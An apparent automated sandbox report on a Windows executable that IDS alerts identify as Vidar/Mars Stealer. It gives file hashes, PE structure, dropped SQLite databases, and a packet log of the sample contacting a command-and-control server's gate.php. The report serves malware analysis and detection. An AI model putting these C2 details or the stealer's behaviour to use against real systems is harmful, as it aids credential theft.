Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\MY58GDTJ

Download File

Process:	C:\Users\user\Desktop\Uin5FyPXbS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\WTRQIE37

Download File

Process:	C:\Users\user\Desktop\Uin5FyPXbS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.31117926451475
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Uin5FyPXbS.exe
File size:	163'328 bytes
MD5:	538cc587125f738ae81e2e4fe28c0084
SHA1:	7aa3c65496b968c3641b7d7db1849ad4715053d6
SHA256:	319b8b4f833b7a319dae6c6ff148d0ec75f83ac6f031678a54ab31a5ab360c39
SHA512:	770eafcaa7ede802b61d6483fad9a4eff6161867c5d7f78b4ee2dfd01002425b56c09c52dea495b3b43b80f6ecfb966dedf79a08e0316f018b1cde929524bf2b
SSDEEP:	3072:UP2iydi+7Jtzet46rSIskyH39vIe3EZ8CbsZEE6tLJSp8Bb8EG:edIfzetJFyXRlCbeV6tH8EG
TLSH:	5BF3CFB599B29AA4C8F892FE5F01BE31C97E342C34724603D1A45D89047F9BBA78351F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................M.......................\|.......N.....Rich....................PE..L...B;8b...................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x43c0b2
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x62383B42 [Mon Mar 21 08:45:54 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	4e06c011d59529bff8e1f1c88254b928

Entrypoint Preview

Instruction
push ebp
sub ebp, 01h
jne 00007F20948C7BEDh
pop ebp
mov eax, dword ptr fs:[00000030h]
mov eax, dword ptr [eax+0Ch]
mov eax, dword ptr [eax+14h]
mov edi, dword ptr [eax+10h]
call 00007F20948C7BF5h
pop esi
lea edx, dword ptr [edi+00001000h]
lea ecx, dword ptr [edx+0001C800h]
lea ebx, dword ptr [esi+00000273h]
lea ebp, dword ptr [ebx+20h]
push edx
push ecx
push ebx
push ebp
call 00007F20948C7B09h
add esp, 10h
lea eax, dword ptr [edi+00008430h]
jmp eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x26508	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x39000	0x23e4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1e000	0x10	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1d000	0x1c800	d31aa71f1042a0c704340cf1e15c1bd4	False	0.6497053179824561	data	7.334297723135306	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x1e000	0x9000	0x8600	2d822a7fd98f75a3d03e2edecdb5015f	False	0.675897854477612	data	6.0428202984727335	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x27000	0x12000	0x200	6f2c9d0a73f06bd2aef306e9fb76eb33	False	0.091796875	data	0.6582824138522845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x39000	0x251e	0x2600	3b29ab439e83295bd62b8c237cdadb41	False	0.7749794407894737	data	6.693331597993307	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
	0x3c000	0x360	0x400	2dd9d16ea28a0798d3d660aa939d720a	False	0.28515625	data	3.7987115000703366	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
msvcrt.dll	_mbsstr, memset, _mbsnbcpy

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/19/24-08:56:55.187388	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49729	80	192.168.2.4	192.187.112.99
03/19/24-08:56:55.187388	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49729	80	192.168.2.4	192.187.112.99
03/19/24-08:56:53.114025	TCP	2036654	ET TROJAN Win32/Vidar Variant/Mars Stealer Resources Download	80	49729	192.187.112.99	192.168.2.4
03/19/24-08:56:52.630241	TCP	2022818	ET TROJAN Generic gate .php GET with minimal headers	49729	80	192.168.2.4	192.187.112.99

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2024 08:56:52.512907028 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:52.630034924 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:52.630119085 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:52.630240917 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:52.749304056 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:52.754111052 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:52.754168987 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:52.995181084 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.114025116 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.114089966 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.114109039 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.114111900 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.114157915 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.114191055 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.114229918 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.114238024 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.114273071 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.114278078 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.114314079 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.114356995 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.114396095 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.114483118 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.114521980 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.114563942 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.114600897 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.114610910 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.114649057 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.231134892 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.231215000 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.231314898 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.231334925 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.231348038 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.231360912 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.231390953 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.231401920 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.231436014 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.231441021 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.231472969 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.231513023 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.231549025 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.231893063 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.231936932 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.232037067 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.232083082 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.232115030 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.232156992 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.232178926 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.232228041 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.232300043 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.232340097 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.232383013 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.232425928 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.232431889 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.232465982 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.232677937 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.232726097 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.232753038 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.232788086 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.232848883 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.232892990 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.232918978 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.232959032 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.232985020 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.233019114 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.233040094 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.233073950 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.348124981 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.348180056 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.348208904 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.348243952 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.348247051 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.348288059 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.348292112 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.348310947 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.348330021 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.348345995 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.348382950 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.348421097 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.348421097 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.348459959 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.348535061 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.348577023 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.348598003 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.348642111 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.348655939 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.348691940 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.348762035 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.348808050 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.348833084 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.348875046 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.348891973 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.348925114 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.348927021 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.348961115 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.348982096 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349000931 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349018097 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349037886 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349076986 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349117041 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349136114 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349148989 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349178076 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349189997 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349267960 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349312067 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349328041 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349374056 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349411011 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349452972 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349464893 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349498987 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349529028 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349570990 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349586010 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349603891 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349622011 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349646091 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349666119 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349703074 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349786043 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349829912 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349838018 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349875927 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349893093 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349927902 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.349946976 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349957943 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.349993944 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.350029945 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.350060940 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.350100040 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.350141048 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.350178957 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.350233078 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.350272894 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.350284100 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.350320101 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.350359917 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.350402117 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.350419044 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.350457907 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.350469112 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.350502014 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.350519896 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.350558996 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.465320110 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.465399981 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.465409994 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.465447903 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.465491056 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.465528011 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.465528965 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.465567112 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.465574026 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.465609074 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.465636015 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.465662003 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.465684891 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.465693951 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.465725899 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.465739012 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.465761900 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.465781927 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.465848923 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.465892076 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.465924978 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.465966940 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.465974092 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466010094 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466042042 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466084957 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466094017 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466118097 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466133118 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466154099 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466197014 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466232061 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466310024 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466351986 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466362000 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466398954 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466406107 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466442108 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466449976 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466489077 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466530085 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466542959 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466567039 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466583967 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466598988 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466634035 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466650963 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466670036 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466691971 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466716051 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466734886 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466773987 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466798067 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466835976 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466854095 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.466892004 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.466996908 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467036963 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.467081070 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467093945 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467118025 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.467142105 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.467161894 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467201948 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.467211962 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467252016 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.467261076 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467300892 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.467323065 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467355967 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467360973 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.467382908 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467394114 CET	49729	80	192.168.2.4	192.187.112.99
